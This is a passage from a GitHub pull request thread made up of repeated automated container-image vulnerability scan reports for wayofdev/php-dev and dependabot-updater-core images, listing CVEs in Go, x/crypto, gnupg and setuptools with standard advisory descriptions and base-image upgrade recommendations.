name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.

Risk Assessment

As easy_install and package_index are deprecated, the exploitation surface is reduced.
However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.

Impact

An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.

References

https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5
pypa/setuptools#4946

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.7-r0 (apk)

pkg:apk/alpine/gnupg@2.4.7-r0?os_name=alpine&os_version=3.21

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.1-alpine

Name8.1.34-alpine3.21
Digestsha256:5a3201a62206d5168ce3bc9fe81cf35c07c93b4c213cff448ecbf5686161271a
Vulnerabilitiescritical: 1 high: 0 medium: 5 low: 2
Pushed2 weeks ago
Size36 MB
Packages59
Flavoralpine
OS3.21
Runtime8.1.34

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.4-alpine3.22
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine3.22
  • 8.4-cli-alpine3.22
  • 8.4.16-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.4.16
 2 weeks ago



8.3-alpine3.22
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.22
  • 8.3-cli-alpine3.22
  • 8.3.29-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.3.29
 2 weeks ago



8.3-alpine
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.3
 2 weeks ago



8.2-alpine
Minor runtime version update
Also known as:
  • 8.2.30-cli-alpine
  • 8.2.30-cli-alpine3.23
  • 8.2-cli-alpine
  • 8.2-cli-alpine3.23
  • 8.2.30-alpine
  • 8.2.30-alpine3.23
  • 8.2-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
  • 8.2-alpine was pulled 1.8K times last month
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.2.30
 2 weeks ago



8.2-alpine3.22
Minor runtime version update
Also known as:
  • 8.2.30-cli-alpine3.22
  • 8.2-cli-alpine3.22
  • 8.2.30-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.2.30
 2 weeks ago



8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



8.5-alpine3.22
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine3.22
  • 8.5-cli-alpine3.22
  • 8-cli-alpine3.22
  • cli-alpine3.22
  • alpine3.22
  • 8-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.5
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:439cf8238d695eea8df5cdc9853ef5f2ad381d396670e1b47ac9a9470b988bb0
vulnerabilitiescritical: 1 high: 8 medium: 0 low: 0
platformlinux/amd64
size109 MB
packages247
📦 Base Image php:8.1-alpine
also known as
  • 8.1-alpine3.21
  • 8.1-cli-alpine
  • 8.1-cli-alpine3.21
  • 8.1.34-alpine
  • 8.1.34-alpine3.21
  • 8.1.34-cli-alpine3.21
  • d0b581c71ccd5071323b105fbcf784f0cc839918e8992e56fe275df9dc840f2b
digestsha256:5a3201a62206d5168ce3bc9fe81cf35c07c93b4c213cff448ecbf5686161271a
vulnerabilitiescritical: 1 high: 0 medium: 5 low: 2
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 5 medium: 0 low: 0 stdlib 1.23.9 (golang)

pkg:golang/stdlib@1.23.9

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.7-r0 (apk)

pkg:apk/alpine/gnupg@2.4.7-r0?os_name=alpine&os_version=3.21

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.1-alpine

Name8.1.34-alpine3.21
Digestsha256:5a3201a62206d5168ce3bc9fe81cf35c07c93b4c213cff448ecbf5686161271a
Vulnerabilitiescritical: 1 high: 0 medium: 5 low: 2
Pushed2 weeks ago
Size36 MB
Packages59
Flavoralpine
OS3.21
Runtime8.1.34

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.4-alpine3.22
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine3.22
  • 8.4-cli-alpine3.22
  • 8.4.16-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.4.16
 2 weeks ago



8.3-alpine3.22
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.22
  • 8.3-cli-alpine3.22
  • 8.3.29-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.3.29
 2 weeks ago



8.3-alpine
Minor runtime version update
Also known as:
  • 8.3.29-cli-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.3
 2 weeks ago



8.2-alpine
Minor runtime version update
Also known as:
  • 8.2.30-cli-alpine
  • 8.2.30-cli-alpine3.23
  • 8.2-cli-alpine
  • 8.2-cli-alpine3.23
  • 8.2.30-alpine
  • 8.2.30-alpine3.23
  • 8.2-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
  • 8.2-alpine was pulled 1.8K times last month
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.2.30
 2 weeks ago



8.2-alpine3.22
Minor runtime version update
Also known as:
  • 8.2.30-cli-alpine3.22
  • 8.2-cli-alpine3.22
  • 8.2.30-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains similar number of packages
Image details:
  • Size: 37 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.2.30
 2 weeks ago



8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image introduces no new vulnerability but removes 3
  • Image contains similar number of packages
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



8.5-alpine3.22
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine3.22
  • 8.5-cli-alpine3.22
  • 8-cli-alpine3.22
  • cli-alpine3.22
  • alpine3.22
  • 8-alpine3.22
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.22
  • Runtime: 8.5
 2 weeks ago



@renovate renovate bot force-pushed the renovate/ansible-ansible-lint-26.x branch from 275ec55 to c867e55 Compare January 16, 2026 05:44
@github-actions
Copy link

github-actions bot commented Jan 16, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:3948a13b0727df7999a2869617184a1217405f7cdd1f646baacf66a80e540b21
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size118 MB
packages250
📦 Base Image php:8.4-alpine
also known as
  • 8.4-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
digestsha256:7a1d3f8571112926ead3b48083792fc807cc83c4f8c1d4d7f80d4f8d0783231a
vulnerabilitiescritical: 0 high: 0 medium: 6 low: 0 unspecified: 1
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.032%
EPSS Percentile9th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 libtasn1 4.20.0-r0 (apk)

pkg:apk/alpine/libtasn1@4.20.0-r0?os_name=alpine&os_version=3.23

high : CVE--2025--13151

Affected range<4.21.0-r0
Fixed version4.21.0-r0
EPSS Score0.050%
EPSS Percentile16th percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 16, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:b35896680d3ca267f8835a4d3b5362608657ebabb816f2bbefa93bfb0215b36d
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size113 MB
packages250
📦 Base Image php:8.2-alpine
also known as
  • 8.2-alpine3.23
  • 8.2-cli-alpine
  • 8.2-cli-alpine3.23
  • 8.2.30-alpine
  • 8.2.30-alpine3.23
  • 8.2.30-cli-alpine
  • 8.2.30-cli-alpine3.23
digestsha256:87f097f8e96a5ea5a7eb41d99f1c7a8cb8565755b027fcbc64cb9bfcedaeb7bf
vulnerabilitiescritical: 0 high: 0 medium: 6 low: 0 unspecified: 1
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.032%
EPSS Percentile9th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 libtasn1 4.20.0-r0 (apk)

pkg:apk/alpine/libtasn1@4.20.0-r0?os_name=alpine&os_version=3.23

high : CVE--2025--13151

Affected range<4.21.0-r0
Fixed version4.21.0-r0
EPSS Score0.050%
EPSS Percentile16th percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 16, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
digestsha256:63ba4a2ff3467a98ac6c8610fece2cdc9893e2af6c18111e57618f8949749b82
vulnerabilitiescritical: 4 high: 51 medium: 0 low: 0
platformlinux/amd64
size338 MB
packages592
📦 Base Image ubuntu:24.04
also known as
  • latest
  • noble
  • noble-20251013
digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
critical: 4 high: 37 medium: 0 low: 0 stdlib 1.18.3 (golang)

pkg:golang/stdlib@1.18.3

critical : CVE--2024--24790

Affected range<1.21.11
Fixed version1.21.11
EPSS Score0.085%
EPSS Percentile25th percentile
Description

The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

critical : CVE--2023--24540

Affected range<1.19.9
Fixed version1.19.9
EPSS Score0.243%
EPSS Percentile47th percentile
Description

Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

critical : CVE--2023--24538

Affected range<1.19.8
Fixed version1.19.8
EPSS Score0.646%
EPSS Percentile70th percentile
Description

Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

critical : CVE--2025--22871

Affected range<1.23.8
Fixed version1.23.8
EPSS Score0.043%
EPSS Percentile13th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2023--29403

Affected range<1.19.10
Fixed version1.19.10
EPSS Score0.009%
EPSS Percentile1st percentile
Description

On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

high : CVE--2024--34158

Affected range<1.22.7
Fixed version1.22.7
EPSS Score0.147%
EPSS Percentile36th percentile
Description

Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

high : CVE--2024--34156

Affected range<1.22.7
Fixed version1.22.7
EPSS Score0.306%
EPSS Percentile53rd percentile
Description

Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

high : CVE--2024--24791

Affected range<1.21.12
Fixed version1.21.12
EPSS Score0.635%
EPSS Percentile70th percentile
Description

The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

high : CVE--2024--24784

Affected range<1.21.8
Fixed version1.21.8
EPSS Score1.498%
EPSS Percentile81st percentile
Description

The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

high : CVE--2023--45288

Affected range<1.21.9
Fixed version1.21.9
EPSS Score66.635%
EPSS Percentile98th percentile
Description

An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

The fix sets a limit on the amount of excess header frames we will process before closing a connection.

high : CVE--2023--45287

Affected range<1.20.0
Fixed version1.20.0
EPSS Score0.185%
EPSS Percentile40th percentile
Description

Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

high : CVE--2023--45283

Affected range<1.20.11
Fixed version1.20.11
EPSS Score0.097%
EPSS Percentile27th percentile
Description

The filepath package does not recognize paths with a ??\ prefix as special.

On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

high : CVE--2023--44487

Affected range<1.20.10
Fixed version1.20.10
EPSS Score94.427%
EPSS Percentile100th percentile
Description

A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

high : CVE--2023--39325

Affected range<1.20.10
Fixed version1.20.10
EPSS Score0.150%
